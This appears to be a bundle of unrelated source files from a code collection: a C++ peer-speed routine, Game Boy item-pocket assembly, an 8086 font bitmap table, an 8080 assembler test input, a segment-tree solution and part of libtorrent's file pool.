boost::unique_lock<boost::recursive_mutex> lock(mutex);
std::unordered_map<boost::uuids::uuid, float> speeds;
for(const auto &span : blocks)
{
if(span.blocks.empty())
continue;
// note that the average below does not average over the whole set, but over the
// previous pseudo average and the latest rate: this gives much more importance
// to the latest measurements, which is fine here
std::unordered_map<boost::uuids::uuid, float>::iterator i = speeds.find(span.connection_id);
if(i == speeds.end())
speeds.insert(std::make_pair(span.connection_id, span.rate));
else
i->second = (i->second + span.rate) / 2;
}
float conn_rate = -1, best_rate = 0;
for(const auto &i : speeds)
{
if(i.first == connection_id)
conn_rate = i.second;
if(i.second > best_rate)
best_rate = i.second;
}
if(conn_rate <= 0)
return 1.0f; // not found, assume good speed
if(best_rate == 0)
return 1.0f; // everything dead ? Can't happen, but let's trap anyway
const float speed = conn_rate / best_rate;
MTRACE(" Relative speed for " << connection_id << ": " << speed << " (" << conn_rate << "/" << best_rate);
return speed;
}
bool block_queue::foreach(std::function<bool(const span &)> f, bool include_blockchain_placeholder) const
{
boost::unique_lock<boost::recursive_mutex> lock(mutex);
block_map::const_iterator i = blocks.begin();
if(!include_blockchain_placeholder && i != blocks.end() && is_blockchain_placeholder(*i))
++i;
while(i != blocks.end())
if(!f(*i++))
return false;
return true;
}
}
|
_ReceiveItem::
call DoesHLEqualNumItems
jp nz, PutItemInPocket
push hl
call CheckItemPocket
pop de
ld a, [wItemAttributeParamBuffer]
dec a
ld hl, .Pockets
rst JumpTable
ret
.Pockets:
; entries correspond to item types
dw .Item
dw .KeyItem
dw .Ball
dw .TMHM
dw .Berry
dw .Medicine
.Item:
ld h, d
ld l, e
jp PutItemInPocket
.KeyItem:
ld h, d
ld l, e
jp ReceiveKeyItem
.Ball:
ld hl, wNumBalls
jp PutItemInPocket
.Berry:
ld hl, wNumBerries
jp PutItemInPocket
.Medicine:
ld hl, wNumMedicine
jp PutItemInPocket
.TMHM:
ld h, d
ld l, e
ld a, [wCurItem]
ld c, a
call GetTMHMNumber
jp ReceiveTMHM
_TossItem::
call DoesHLEqualNumItems
jr nz, .remove
push hl
call CheckItemPocket
pop de
ld a, [wItemAttributeParamBuffer]
dec a
ld hl, .Pockets
rst JumpTable
ret
.Pockets:
; entries correspond to item types
dw .Item
dw .KeyItem
dw .Ball
dw .TMHM
dw .Berry
dw .Medicine
.Ball:
ld hl, wNumBalls
jp RemoveItemFromPocket
.Berry:
ld hl, wNumBerries
jp RemoveItemFromPocket
.Medicine:
ld hl, wNumMedicine
jp RemoveItemFromPocket
.TMHM:
ld h, d
ld l, e
ld a, [wCurItem]
ld c, a
call GetTMHMNumber
jp TossTMHM
.KeyItem:
ld h, d
ld l, e
jp TossKeyItem
.Item:
ld h, d
ld l, e
.remove
jp RemoveItemFromPocket
_CheckItem::
call DoesHLEqualNumItems
jr nz, .nope
push hl
call CheckItemPocket
pop de
ld a, [wItemAttributeParamBuffer]
dec a
ld hl, .Pockets
rst JumpTable
ret
.Pockets:
; entries correspond to item types
dw .Item
dw .KeyItem
dw .Ball
dw .TMHM
dw .Berry
dw .Medicine
.Berry:
ld hl, wNumBalls
jp CheckTheItem
.Medicine:
ld hl, wNumMedicine
jp CheckTheItem
.Ball:
ld hl, wNumBalls
jp CheckTheItem
.TMHM:
ld h, d
ld l, e
ld a, [wCurItem]
ld c, a
call GetTMHMNumber
jp CheckTMHM
.KeyItem:
ld h, d
ld l, e
jp CheckKeyItems
.Item:
ld h, d
ld l, e
.nope
jp CheckTheItem
DoesHLEqualNumItems:
ld a, l
cp LOW(wNumItems)
ret nz
ld a, h
cp HIGH(wNumItems)
ret
GetPocketCapacity:
ld c, MAX_ITEMS
ld a, e
cp LOW(wNumItems)
jr nz, .not_bag
ld a, d
cp HIGH(wNumItems)
ret z
.not_bag
ld c, MAX_PC_ITEMS
ld a, e
cp LOW(wNumPCItems)
jr nz, .not_pc
ld a, d
cp HIGH(wNumPCItems)
ret z
.not_pc
ld c, MAX_BERRIES
ld a, e
cp LOW(wNumBerries)
jr nz, .not_berries
ld a, d
cp HIGH(wNumBerries)
ret z
.not_berries
ld c, MAX_MEDICINE
ld a, e
cp LOW(wNumMedicine)
jr nz, .not_medicine
ld a, d
cp HIGH(wNumMedicine)
ret z
.not_medicine
ld c, MAX_BALLS
ret
PutItemInPocket:
ld d, h
ld e, l
inc hl
ld a, [wCurItem]
ld c, a
ld b, 0
.loop
ld a, [hli]
cp -1
jr z, .terminator
cp c
jr nz, .next
ld a, 99
sub [hl]
add b
ld b, a
ld a, [wItemQuantityChangeBuffer]
cp b
jr z, .ok
jr c, .ok
.next
inc hl
jr .loop
.terminator
call GetPocketCapacity
ld a, [de]
cp c
jr c, .ok
and a
ret
.ok
ld h, d
ld l, e
ld a, [wCurItem]
ld c, a
ld a, [wItemQuantityChangeBuffer]
ld [wItemQuantityBuffer], a
.loop2
inc hl
ld a, [hli]
cp -1
jr z, .terminator2
cp c
jr nz, .loop2
ld a, [wItemQuantityBuffer]
add [hl]
cp 100
jr nc, .newstack
ld [hl], a
jr .done
.newstack
ld [hl], 99
sub 99
ld [wItemQuantityBuffer], a
jr .loop2
.terminator2
dec hl
ld a, [wCurItem]
ld [hli], a
ld a, [wItemQuantityBuffer]
ld [hli], a
ld [hl], -1
ld h, d
ld l, e
inc [hl]
.done
scf
ret
RemoveItemFromPocket:
ld d, h
ld e, l
ld a, [hli]
ld c, a
ld a, [wCurItemQuantity]
cp c
jr nc, .ok ; memory
ld c, a
ld b, $0
add hl, bc
add hl, bc
ld a, [wCurItem]
cp [hl]
inc hl
jr z, .skip
ld h, d
ld l, e
inc hl
.ok
ld a, [wCurItem]
ld b, a
.loop
ld a, [hli]
cp b
jr z, .skip
cp -1
jr z, .nope
inc hl
jr .loop
.skip
ld a, [wItemQuantityChangeBuffer]
ld b, a
ld a, [hl]
sub b
jr c, .nope
ld [hl], a
ld [wItemQuantityBuffer], a
and a
jr nz, .yup
dec hl
ld b, h
ld c, l
inc hl
inc hl
.loop2
ld a, [hli]
ld [bc], a
inc bc
cp -1
jr nz, .loop2
ld h, d
ld l, e
dec [hl]
.yup
scf
ret
.nope
and a
ret
CheckTheItem:
ld a, [wCurItem]
ld c, a
.loop
inc hl
ld a, [hli]
cp -1
jr z, .done
cp c
jr nz, .loop
scf
ret
.done
and a
ret
ReceiveKeyItem:
ld hl, wNumKeyItems
ld a, [hli]
cp MAX_KEY_ITEMS
jr nc, .nope
ld c, a
ld b, 0
add hl, bc
ld a, [wCurItem]
ld [hli], a
ld [hl], -1
ld hl, wNumKeyItems
inc [hl]
scf
ret
.nope
and a
ret
TossKeyItem:
ld a, [wCurItemQuantity]
ld e, a
ld d, 0
ld hl, wNumKeyItems
ld a, [hl]
cp e
jr nc, .ok
call .Toss
ret nc
jr .ok2
.ok
dec [hl]
inc hl
add hl, de
.ok2
ld d, h
ld e, l
inc hl
.loop
ld a, [hli]
ld [de], a
inc de
cp -1
jr nz, .loop
scf
ret
.Toss:
ld hl, wNumKeyItems
ld a, [wCurItem]
ld c, a
.loop3
inc hl
ld a, [hl]
cp c
jr z, .ok3
cp -1
jr nz, .loop3
xor a
ret
.ok3
ld a, [wNumKeyItems]
dec a
ld [wNumKeyItems], a
scf
ret
CheckKeyItems:
ld a, [wCurItem]
ld c, a
ld hl, wKeyItems
.loop
ld a, [hli]
cp c
jr z, .done
cp -1
jr nz, .loop
and a
ret
.done
scf
ret
_ReceiveTMHM::
ld a, [wCurItem]
ld c, a
dec c
ld b, 0
ld hl, wTMsHMs
add hl, bc
ld a, [wItemQuantityChangeBuffer]
ld c, a
ld a, BANK(wTMsHMs)
call GetFarWRAMByte
add c
cp 100
jr nc, .toomany
ld c, a
ld a, BANK(wTMsHMs)
call SetFarWRAMByte
scf
ret
.toomany
and a
ret
_TossTMHM::
ld a, [wCurItem]
ld c, a
dec c
ld b, 0
ld hl, wTMsHMs
add hl, bc
ld a, [wItemQuantityChangeBuffer]
ld b, a
ld a, BANK(wTMsHMs)
call GetFarWRAMByte
sub b
jr c, .nope
ld c, a
ld a, BANK(wTMsHMs)
call SetFarWRAMByte
ld [wItemQuantityBuffer], a
jr nz, .yup
ld a, [wTMHMPocketScrollPosition]
and a
jr z, .yup
dec a
ld [wTMHMPocketScrollPosition], a
.yup
scf
ret
.nope
and a
ret
CheckTMHM:
dec c
ld b, 0
ld hl, wTMsHMs
add hl, bc
ld a, BANK(wTMsHMs)
call GetFarWRAMByte
and a
ret z
scf
ret
GetTMHMNumber::
; Return the number of a TM/HM by item id c.
ld a, c
sub TM01 - 1
ld c, a
ret
GetNumberedTMHM:
; Return the item id of a TM/HM by number c.
ld a, c
add a, TM01 - 1
ld c, a
ret
_CheckTossableItem::
; Return 1 in wItemAttributeParamBuffer and carry if wCurItem can't be removed from the bag.
ld a, ITEMATTR_PERMISSIONS
call GetItemAttr
bit CANT_TOSS_F, a
jr nz, ItemAttr_ReturnCarry
and a
ret
CheckSelectableItem:
; Return 1 in wItemAttributeParamBuffer and carry if wCurItem can't be selected.
ld a, ITEMATTR_PERMISSIONS
call GetItemAttr
bit CANT_SELECT_F, a
jr nz, ItemAttr_ReturnCarry
and a
ret
CheckItemPocket::
; Return the pocket for wCurItem in wItemAttributeParamBuffer.
ld a, ITEMATTR_POCKET
call GetItemAttr
and $f
ld [wItemAttributeParamBuffer], a
ret
CheckItemContext:
; Return the context for wCurItem in wItemAttributeParamBuffer.
ld a, ITEMATTR_HELP
call GetItemAttr
and $f
ld [wItemAttributeParamBuffer], a
ret
CheckItemMenu:
; Return the menu for wCurItem in wItemAttributeParamBuffer.
ld a, ITEMATTR_HELP
call GetItemAttr
swap a
and $f
ld [wItemAttributeParamBuffer], a
ret
GetItemAttr:
; Get attribute a of wCurItem.
push hl
push bc
ld hl, ItemAttributes
ld c, a
ld b, 0
add hl, bc
xor a
ld [wItemAttributeParamBuffer], a
ld a, [wCurItem]
dec a
ld c, a
ld a, ITEMATTR_STRUCT_LENGTH
call AddNTimes
ld a, BANK(ItemAttributes)
call GetFarByte
pop bc
pop hl
ret
ItemAttr_ReturnCarry:
ld a, 1
ld [wItemAttributeParamBuffer], a
scf
ret
GetItemPrice:
; Return the price of wCurItem in de.
push hl
push bc
ld a, ITEMATTR_PRICE
call GetItemAttr
ld e, a
ld a, ITEMATTR_PRICE_HI
call GetItemAttr
ld d, a
pop bc
pop hl
ret
GetTMHMPrice:
; Return the price of the TM/HM numbered wCurItem in de.
push hl
push bc
ld a, [wCurItem]
dec a
ld l, a
ld h, 0
add hl, hl
ld bc, TMHMPrices
add hl, bc
ld a, BANK(TMHMPrices)
call GetFarHalfword
ld d, h
ld e, l
pop bc
pop hl
ret
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
; Autogenerated - DO NOT MODIFY
bits 16
cpu 8086
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-;
;ASCII: 0x20
global table_space
table_space:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x21
global table_exclam
table_exclam:
dw 0b0001101101100100,0b0011000010111010,0b0111000000000011,0b0000000001111000
;ASCII: 0x22
global table_quote
table_quote:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x23
global table_tateti
table_tateti:
dw 0b0001100000000000,0b1111111111111110,0b0000000000100011,0b0000000000000000
;ASCII: 0x24
global table_dollar
table_dollar:
dw 0b1001100000000000,0b0111101111111111,0b0000000000000011,0b0000000000000000
;ASCII: 0x25
global table_percent
table_percent:
dw 0b0000000000000000,0b0000000000000000,0b0111000000000000,0b0000000001111000
;ASCII: 0x26
global table_and
table_and:
dw 0b0000000000000000,0b0000000000000000,0b0111000000000000,0b0000000001111000
;ASCII: 0x27
global table_single_quote
table_single_quote:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x28
global table_open_p
table_open_p:
dw 0b1010000011100110,0b0000111000000100,0b0111110001110100,0b0000000001111000
;ASCII: 0x29
global table_closed_p
table_closed_p:
dw 0b0100010001101100,0b1100000101000001,0b1111000000001000,0b0000000001111001
;ASCII: 0x2a
global table_star
table_star:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x2b
global table_plus
table_plus:
dw 0b0001101100000000,0b0111101111111110,0b0000001110000011,0b0000000000000000
;ASCII: 0x2c
global table_comma
table_comma:
dw 0b0000000000000000,0b0011000000000000,0b0001001110000011,0b0000000000001000
;ASCII: 0x2d
global table_minus
table_minus:
dw 0b0000000000000000,0b0111101111111100,0b0000000000000011,0b0000000000000000
;ASCII: 0x2e
global table_dot
table_dot:
dw 0b0000000000000000,0b0000000000000000,0b0111000000000000,0b0000000001111000
;ASCII: 0x2f
global table_slash
table_slash:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x30
global table_0
table_0:
dw 0b1111010011101110,0b1111111111110111,0b1111110011111101,0b0000000001111001
;ASCII: 0x31
global table_1
table_1:
dw 0b0001101101100110,0b0011000010111010,0b1111111110000011,0b0000000001111111
;ASCII: 0x32
global table_2
table_2:
dw 0b0000010001101110,0b0111111111111101,0b1111110001100111,0b0000000001111111
;ASCII: 0x33
global table_3
table_3:
dw 0b0000010001101110,0b1111000111110000,0b1111110000001010,0b0000000001111001
;ASCII: 0x34
global table_4
table_4:
dw 0b1100010010011011,0b1111101111111101,0b1000000000001011,0b0000000000000101
;ASCII: 0x35
global table_5
table_5:
dw 0b1010000011111111,0b1111111111111100,0b1111110000001111,0b0000000001111011
;ASCII: 0x36
global table_6
table_6:
dw 0b1010000011101110,0b1111111111111100,0b1111110001111111,0b0000000001111001
;ASCII: 0x37
global table_7
table_7:
dw 0b0001010001111111,0b0011000011110010,0b0111001110000011,0b0000000001111000
;ASCII: 0x38
global table_8
table_8:
dw 0b0000010011101110,0b0111100011111100,0b1111110001001111,0b0000000001111001
;ASCII: 0x39
global table_9
table_9:
dw 0b1100010011101110,0b1111101111111101,0b1111110000001011,0b0000000001111001
;ASCII: 0x3a
global table_colon
table_colon:
dw 0b0000000001100100,0b0011000000000000,0b0000001110000011,0b0000000000000000
;ASCII: 0x3b
global table_semin_colon
table_semin_colon:
dw 0b0000000001100100,0b0011000000000000,0b0001001110000011,0b0000000000001000
;ASCII: 0x3c
global table_less
table_less:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x3d
global table_eq
table_eq:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x3e
global table_greater
table_greater:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x3f
global table_interr
table_interr:
dw 0b0000010001101110,0b0111000111111001,0b0111000000000011,0b0000000001111000
;ASCII: 0x40
global table_at
table_at:
dw 0b0000010001101110,0b0111000111111001,0b0111000000000011,0b0000000001111000
;ASCII: 0x41
global table_a
table_a:
dw 0b1110010011101110,0b1111111101000101,0b1000111111111111,0b0000000000000111
;ASCII: 0x42
global table_b
table_b:
dw 0b1010010011101111,0b0111111011111100,0b1111110001111111,0b0000000001111011
;ASCII: 0x43
global table_c
table_c:
dw 0b1010000011101110,0b0000111000000100,0b1111110001110100,0b0000000001111001
;ASCII: 0x44
global table_d
table_d:
dw 0b1110010011101111,0b1100111101000101,0b1111110001111100,0b0000000001111011
;ASCII: 0x45
global table_e
table_e:
dw 0b1010000011111110,0b0011111010111100,0b1111110001110111,0b0000000001111101
;ASCII: 0x46
global table_f
table_f:
dw 0b1010000011111110,0b0011111010111100,0b0000110001110111,0b0000000000000010
;ASCII: 0x47
global table_g
table_g:
dw 0b1010000011101110,0b1110111101110100,0b1111110001111110,0b0000000001111001
;ASCII: 0x48
global table_h
table_h:
dw 0b1110010010011011,0b1111111111111101,0b1000110001111111,0b0000000000000111
;ASCII: 0x49
global table_i
table_i:
dw 0b0001101101111111,0b0011000010111010,0b1111111110000011,0b0000000001111111
;ASCII: 0x4a
global table_j
table_j:
dw 0b0100010000011000,0b1100000101000001,0b1111110001111000,0b0000000001111001
;ASCII: 0x4b
global table_k
table_k:
dw 0b1011010010011011,0b0111111011110110,0b1000111001111110,0b0000000000000111
;ASCII: 0x4c
global table_l
table_l:
dw 0b1010000010000011,0b0000111000000100,0b1111110001110100,0b0000000001111101
;ASCII: 0x4d
global table_m
table_m:
dw 0b1111111111111011,0b1111111111111111,0b1000110001111100,0b0000000000000111
;ASCII: 0x4e
global table_n
table_n:
dw 0b1110110110111011,0b1111111111111111,0b1000111001111110,0b0000000000000111
;ASCII: 0x4f
global table_o
table_o:
dw 0b1110010011101110,0b1100111101000101,0b1111110001111100,0b0000000001111001
;ASCII: 0x50
global table_p
table_p:
dw 0b1010010011101111,0b0111111111111101,0b0000110001110111,0b0000000000000010
;ASCII: 0x51
global table_q
table_q:
dw 0b1110010011101110,0b1100111101000101,0b1111111001111100,0b0000000001111001
;ASCII: 0x52
global table_r
table_r:
dw 0b1010010011101111,0b0111111011111100,0b1000111001111111,0b0000000000000111
;ASCII: 0x53
global table_s
table_s:
dw 0b1000000011101110,0b1111101111111100,0b1111110000001011,0b0000000001111001
;ASCII: 0x54
global table_t
table_t:
dw 0b0001101101111111,0b0011000010111010,0b0111001110000011,0b0000000001111000
;ASCII: 0x55
global table_u
table_u:
dw 0b1110010010011011,0b1100111101000101,0b1111110001111100,0b0000000001111001
;ASCII: 0x56
global table_v
table_v:
dw 0b1110010010011011,0b1100111101000101,0b1111101111111111,0b0000000000000000
;ASCII: 0x57
global table_w
table_w:
dw 0b1110010010011011,0b1111111111010101,0b1101111111111111,0b0000000000011111
;ASCII: 0x58
global table_x
table_x:
dw 0b0001110010011011,0b1111111111111110,0b1000111011101111,0b0000000000000111
;ASCII: 0x59
global table_y
table_y:
dw 0b1000010010011011,0b0111101111111101,0b0111001110000011,0b0000000001111000
;ASCII: 0x5a
global table_z
table_z:
dw 0b0000010001111111,0b0111111111111101,0b1111110001100111,0b0000000001111111
;ASCII: 0x5b
global table_llave_izq
table_llave_izq:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x5c
global table_inv_slash
table_inv_slash:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x5d
global table_llave_der
table_llave_der:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x5e
global table_caret
table_caret:
dw 0b0000000000000000,0b0000000000000000,0b0000000000000000,0b0000000000000000
;ASCII: 0x5f
global table__
table__:
dw 0b0000000000000000,0b0000000000000000,0b1111110000000000,0b0000000001111111
;ASCII: 0x60
global table_pipe
table_pipe:
dw 0b0001101101100100,0b0011000010111010,0b0111001110000011,0b0000000001111000
|
; TEST_INSTR
; All instructions in various combinations for testing Lexer and
; Assembler components.
;
; Note that this code makes no actual sense
;
; Stefan Wong 2020
MOVE_INSTR: MOV A, B
MOV B, C
MOV A, M
PUSH D
MOV E, A
MVI C, 2
POP D
MEM_INSTR:
LXI SP, 300H
ARITH_INSTR:
PUSH A
PUSH C
ADD A
SUB B
ADI 7
|
#include <bits/stdc++.h>
using namespace std;
#define fastio ios_base::sync_with_stdio(0);cin.tie(NULL);cout.tie(NULL)
#define PI(a,b) pair<a,b>
#define MP make_pair
#define EB emplace_back
#define MOD 1000000007
#define int long long
#define S second
#define F first
#define endl '\n'
#define FOR(var,len) for(var = 0;var<len;var++)
#define debug1 cout<<"debug1"<<'\n'
#define debug2 cout<<"debug2"<<'\n'
#define debug3 cout<<"debug3"<<'\n'
#define max_l 1000005
struct segtree{
int size;
vector<pair<int,int>> mins;
void init(int n){
size = 1;
while(size<n)
size *= 2;
mins.assign(2*size,make_pair(0,0));
}
void build(vector<int> &A,int x,int lx,int rx){
if(rx-lx == 1){
if(lx<(int)A.size()){
mins[x].F = A[lx];
mins[x].S = 1;
}
return;
}
int m = (lx + rx)/2;
build(A,2*x+1,lx,m);
build(A,2*x+2,m,rx);
if(mins[2*x+1].F == mins[2*x + 2].F){
mins[x].F = mins[2*x+1].F;
mins[x].S = mins[2*x+1].S + mins[2*x+2].S;
}
else{
mins[x] = mins[2*x+1].F<mins[2*x+2].F?mins[2*x+1]:mins[2*x+2];
}
}
void build(vector<int> &A){
build(A,0,0,size);
}
void set(int i,int v,int x,int lx,int rx){
if(rx-lx == 1){
mins[x].F = v;
mins[x].S = 1;
return;
}
int m = (lx+ rx)/2;
if(i<m)
set(i,v,2*x+1,lx,m);
else
set(i,v,2*x + 2 ,m ,rx);
if(mins[2*x+1].F == mins[2*x + 2].F){
mins[x].F = mins[2*x+1].F;
mins[x].S = mins[2*x+1].S + mins[2*x+2].S;
}
else
mins[x] = mins[2*x+1].F<mins[2*x+2].F?mins[2*x+1]:mins[2*x+2];
}
void set(int i,int v){
set(i,v,0,0,size);
}
pair<int,int> min_query(int l,int r,int x,int lx,int rx){
if(lx>= r || rx<=l)
return make_pair(INT_MAX,0);
if(lx>=l && rx<=r)return mins[x];
int m = (lx + rx)/2;
pair<int,int> min1 = min_query(l,r,2*x+1,lx,m);
pair<int,int> min2 = min_query(l,r,2*x+2,m,rx);
if(min1.F == min2.F){
min1.S = min1.S + min2.S;
return min1;
}
else
return min1.F<min2.F?min1:min2;
}
pair<int,int> min_query(int l,int r){
return min_query(l,r,0,0,size);
}
};
int32_t main(){
int n,m;
cin>>n>>m;
vector<int> A(n);
for(int i = 0;i<n;i++)
cin>>A[i];
segtree st;
st.init(n);
st.build(A);
int a,b,c;
while(m--){
cin>>a>>b>>c;
if(a == 1){
st.set(b,c);
}else{
pair<int,int> ans;
ans = st.min_query(b,c);
cout<<ans.F<<" "<<ans.S<<'\n';
}
}
} |
/*
Copyright (c) 2006-2016, Arvid Norberg
All rights reserved.
Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions
are met:
* Redistributions of source code must retain the above copyright
notice, this list of conditions and the following disclaimer.
* Redistributions in binary form must reproduce the above copyright
notice, this list of conditions and the following disclaimer in
the documentation and/or other materials provided with the distribution.
* Neither the name of the author nor the names of its
contributors may be used to endorse or promote products derived
from this software without specific prior written permission.
THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR CONTRIBUTORS BE
LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF
SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS
INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)
ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
POSSIBILITY OF SUCH DAMAGE.
*/
#include "libtorrent/config.hpp"
#include "libtorrent/aux_/disable_warnings_push.hpp"
#include <boost/version.hpp>
#include <boost/bind.hpp>
#include "libtorrent/aux_/disable_warnings_pop.hpp"
#include "libtorrent/assert.hpp"
#include "libtorrent/file_pool.hpp"
#include "libtorrent/error_code.hpp"
#include "libtorrent/file_storage.hpp" // for file_entry
#include "libtorrent/aux_/time.hpp"
namespace libtorrent
{
file_pool::file_pool(int size)
: m_size(size)
, m_low_prio_io(true)
{
}
file_pool::~file_pool()
{
}
#ifdef TORRENT_WINDOWS
void set_low_priority(file_handle const& f)
{
// file prio is only supported on vista and up
// so load the functions dynamically
typedef enum _FILE_INFO_BY_HANDLE_CLASS {
FileBasicInfo,
FileStandardInfo,
FileNameInfo,
FileRenameInfo,
FileDispositionInfo,
FileAllocationInfo,
FileEndOfFileInfo,
FileStreamInfo,
FileCompressionInfo,
FileAttributeTagInfo,
FileIdBothDirectoryInfo,
FileIdBothDirectoryRestartInfo,
FileIoPriorityHintInfo,
FileRemoteProtocolInfo,
MaximumFileInfoByHandleClass
} FILE_INFO_BY_HANDLE_CLASS, *PFILE_INFO_BY_HANDLE_CLASS;
typedef enum _PRIORITY_HINT {
IoPriorityHintVeryLow = 0,
IoPriorityHintLow,
IoPriorityHintNormal,
MaximumIoPriorityHintType
} PRIORITY_HINT;
typedef struct _FILE_IO_PRIORITY_HINT_INFO {
PRIORITY_HINT PriorityHint;
} FILE_IO_PRIORITY_HINT_INFO, *PFILE_IO_PRIORITY_HINT_INFO;
typedef BOOL (WINAPI *SetFileInformationByHandle_t)(HANDLE hFile, FILE_INFO_BY_HANDLE_CLASS FileInformationClass, LPVOID lpFileInformation, DWORD dwBufferSize);
static SetFileInformationByHandle_t SetFileInformationByHandle = NULL;
static bool failed_kernel_load = false;
if (failed_kernel_load) return;
if (SetFileInformationByHandle == NULL)
{
HMODULE kernel32 = LoadLibraryA("kernel32.dll");
if (kernel32 == NULL)
{
failed_kernel_load = true;
return;
}
SetFileInformationByHandle = (SetFileInformationByHandle_t)GetProcAddress(kernel32, "SetFileInformationByHandle");
if (SetFileInformationByHandle == NULL)
{
failed_kernel_load = true;
return;
}
}
TORRENT_ASSERT(SetFileInformationByHandle);
FILE_IO_PRIORITY_HINT_INFO io_hint;
io_hint.PriorityHint = IoPriorityHintLow;
SetFileInformationByHandle(f->native_handle(),
FileIoPriorityHintInfo, &io_hint, sizeof(io_hint));
}
#endif // TORRENT_WINDOWS
file_handle file_pool::open_file(void* st, std::string const& p
, int file_index, file_storage const& fs, int m, error_code& ec)
{
// potentially used to hold a reference to a file object that's
// about to be destructed. If we have such object we assign it to
// this member to be destructed after we release the mutex. On some
// operating systems (such as OSX) closing a file may take a long
// time. We don't want to hold the mutex for that.
file_handle defer_destruction;
mutex::scoped_lock l(m_mutex);
#if TORRENT_USE_ASSERTS
// we're not allowed to open a file
// from a deleted storage!
TORRENT_ASSERT(std::find(m_deleted_storages.begin(), m_deleted_storages.end()
, std::make_pair(fs.name(), static_cast<void const*>(&fs)))
== m_deleted_storages.end());
#endif
TORRENT_ASSERT(st != 0);
TORRENT_ASSERT(is_complete(p));
TORRENT_ASSERT((m & file::rw_mask) == file::read_only
|| (m & file::rw_mask) == file::read_write);
file_set::iterator i = m_files.find(std::make_pair(st, file_index));
if (i != m_files.end())
{
lru_file_entry& e = i->second;
e.last_use = aux::time_now();
// if we asked for a file in write mode,
// and the cached file is is not opened in
// write mode, re-open it
if ((((e.mode & file::rw_mask) != file::read_write)
&& ((m & file::rw_mask) == file::read_write))
|| (e.mode & file::random_access) != (m & file::random_access))
{
// close the file before we open it with
// the new read/write privileges, since windows may
// file opening a file twice. However, since there may
// be outstanding operations on it, we can't close the
// file, we can only delete our reference to it.
// if this is the only reference to the file, it will be closed
defer_destruction = e.file_ptr;
e.file_ptr = boost::make_shared<file>();
std::string full_path = fs.file_path(file_index, p);
if (!e.file_ptr->open(full_path, m, ec))
{
m_files.erase(i);
return file_handle();
}
#ifdef TORRENT_WINDOWS
if (m_low_prio_io)
set_low_priority(e.file_ptr);
#endif
TORRENT_ASSERT(e.file_ptr->is_open());
e.mode = m;
}
return e.file_ptr;
}
lru_file_entry e;
e.file_ptr = boost::make_shared<file>();
if (!e.file_ptr)
{
ec = error_code(boost::system::errc::not_enough_memory, generic_category());
return e.file_ptr;
}
std::string full_path = fs.file_path(file_index, p);
if (!e.file_ptr->open(full_path, m, ec))
return file_handle();
#ifdef TORRENT_WINDOWS
if (m_low_prio_io)
set_low_priority(e.file_ptr);
#endif
e.mode = m;
file_handle file_ptr = e.file_ptr;
m_files.insert(std::make_pair(std::make_pair(st, file_index), e));
TORRENT_ASSERT(file_ptr->is_open());
if (int(m_files.size()) >= m_size)
{
// the file cache is at its maximum size, close
// the least recently used (lru) file from it
defer_destruction = remove_oldest(l);
}
return file_ptr;
}
void file_pool::get_status(std::vector<pool_file_status>* files, void* st) const
{
mutex::scoped_lock l(m_mutex);
file_set::const_iterator start = m_files.lower_bound(std::make_pair(st, 0));
file_set::const_iterator end = m_files.upper_bound(std::make_pair(st, INT_MAX));
for (file_set::const_iterator i = start; i != end; ++i)
{
pool_file_status s;
s.file_index = i->first.second;
s.open_mode = i->second.mode;
s.last_use = i->second.last_use;
files->push_back(s);
}
}
file_handle file_pool::remove_oldest(mutex::scoped_lock&)
{
file_set::iterator i = std::min_element(m_files.begin(), m_files.end()
, boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _1))
< boost::bind(&lru_file_entry::last_use, boost::bind(&file_set::value_type::second, _2)));
if (i == m_files.end()) return file_handle();
file_handle file_ptr = i->second.file_ptr;
m_files.erase(i);
// closing a file may be long running operation (mac os x)
// let the calling function destruct it after releasing the mutex
return file_ptr;
}
void file_pool::release(void* st, int file_index)
{
mutex::scoped_lock l(m_mutex);
file_set::iterator i = m_files.find(std::make_pair(st, file_index));
if (i == m_files.end()) return;
file_handle file_ptr = i->second.file_ptr;
m_files.erase(i);
// closing a file may take a long time (mac os x), so make sure
// we're not holding the mutex
l.unlock();
file_ptr.reset();
}
// closes files belonging to the specified
// storage. If 0 is passed, all files are closed
void file_pool::release(void* st)
{
mutex::scoped_lock l(m_mutex);
if (st == 0)
{
m_files.clear();
l.unlock();
return;
}
